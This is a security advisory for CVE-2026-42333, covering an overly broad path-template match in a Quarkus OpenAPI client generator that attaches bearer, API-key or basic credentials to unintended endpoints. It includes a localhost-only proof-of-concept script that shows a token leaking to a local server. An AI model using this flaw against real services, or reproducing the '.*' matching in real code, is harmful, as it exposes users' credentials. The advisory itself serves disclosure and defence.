CVE-2026-42333

描述

### Summary The generated authentication filter matches OpenAPI path templates too broadly when deciding whether to attach credentials. A security scheme configured for one operation can therefore be applied to a different same-method operation whose path only partially resembles the protected template, causing bearer tokens, API keys, or basic credentials to be sent to unintended endpoints. ### Details The runtime authentication layer selects credentials by comparing the outgoing request path and method against the set of protected OpenAPI operations. Path-template matching treats `{param}` placeholders as `.*`, which incorrectly allows a single path parameter to consume `/`. As a result, a protected path such as `/repos/{ref}` also matches `/repos/foo/bar`, even though `/repos/{owner}/{repo}` is a different operation. When a client invokes the unprotected operation, the authentication filter still concludes that the protected operation matched and attaches its credentials. This affects authentication providers that rely on the shared path-matching logic, including bearer, OAuth, API-key, and basic authentication. The issue is reachable through normal generated-client usage and does not require modifying generated code. ### PoC ```bash mkdir -p /tmp/qoag-poc/src/main/java/org/acme mkdir -p /tmp/qoag-poc/src/main/resources mkdir -p /tmp/qoag-poc/src/main/openapi cat > /tmp/qoag-poc/pom.xml <<'EOF' <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.acme</groupId> <artifactId>qoag-poc</artifactId> <version>1.0.0</version> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.release>17</maven.compiler.release> <quarkus.platform.group-id>io.quarkus</quarkus.platform.group-id> <quarkus.platform.artifact-id>quarkus-bom</quarkus.platform.artifact-id> <quarkus.platform.version>3.34.3</quarkus.platform.version> <qoag.version>2.16.0</qoag.version> </properties> <dependencyManagement> <dependencies> <dependency> <groupId>${quarkus.platform.group-id}</groupId> <artifactId>${quarkus.platform.artifact-id}</artifactId> <version>${quarkus.platform.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <dependencies> <dependency> <groupId>io.quarkiverse.openapi.generator</groupId> <artifactId>quarkus-openapi-generator</artifactId> <version>${qoag.version}</version> </dependency> <dependency> <groupId>io.quarkus</groupId> <artifactId>quarkus-rest</artifactId> </dependency> <dependency> <groupId>io.quarkus</groupId> <artifactId>quarkus-rest-client-jackson</artifactId> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>io.quarkus</groupId> <artifactId>quarkus-maven-plugin</artifactId> <version>${quarkus.platform.version}</version> <extensions>true</extensions> <executions> <execution> <goals> <goal>build</goal> <goal>generate-code</goal> <goal>generate-code-tests</goal> </goals> </execution> </executions> </plugin> <plugin> <artifactId>maven-compiler-plugin</artifactId> <version>3.14.0</version> <configuration> <parameters>true</parameters> </configuration> </plugin> </plugins> </build> </project> EOF cat > /tmp/qoag-poc/src/main/openapi/repro.yaml <<'EOF' openapi: 3.0.3 info: title: repro version: 1.0.0 paths: /repos/{ref}: get: operationId: getRef parameters: - in: path name: ref required: true schema: type: string security: - bearerAuth: [] responses: "200": description: ok content: text/plain: schema: type: string /repos/{owner}/{repo}: get: operationId: getOwnerRepo parameters: - in: path name: owner required: true schema: type: string - in: path name: repo required: true schema: type: string responses: "200": description: ok content: text/plain: schema: type: string components: securitySchemes: bearerAuth: type: http scheme: bearer EOF cat > /tmp/qoag-poc/src/main/resources/application.properties <<'EOF' quarkus.http.port=8081 quarkus.openapi-generator.codegen.default-security-scheme=bearerAuth quarkus.openapi-generator.codegen.spec.repro_yaml.base-package=org.acme.repro quarkus.rest-client.repro_yaml.url=http://127.0.0.1:18080 quarkus.openapi-generator.repro_yaml.auth.bearerAuth.bearer-token=SECRET EOF cat > /tmp/qoag-poc/src/main/java/org/acme/TriggerResource.java <<'EOF' package org.acme; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.Produces; import jakarta.ws.rs.core.MediaType; import org.eclipse.microprofile.rest.client.inject.RestClient; @Path("/trigger") public class TriggerResource { @RestClient org.acme.repro.api.DefaultApi api; @GET @Produces(MediaType.TEXT_PLAIN) public String trigger() { api.getOwnerRepo("foo", "bar"); return "done"; } } EOF python - <<'PY' & from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): print("PATH=" + self.path, flush=True) print("AUTH=" + str(self.headers.get("Authorization")), flush=True) self.send_response(200) self.end_headers() self.wfile.write(b"ok") def log_message(self, fmt, *args): pass HTTPServer(("127.0.0.1", 18080), H).serve_forever() PY cd /tmp/qoag-poc mvn -q package -DskipTests java -jar target/quarkus-app/quarkus-run.jar & sleep 8 curl -s http://127.0.0.1:8081/trigger # PATH=/repos/foo/bar # AUTH=Bearer SECRET ``` ### Impact Clients generated from an OpenAPI specification can send authentication credentials to endpoints that were not intended to receive them. In practice, this can disclose bearer tokens, API keys, or basic credentials to lower-trust routes on the same service, cause public operations to be invoked with privileged credentials, and blur the intended security boundary between protected and unprotected operations.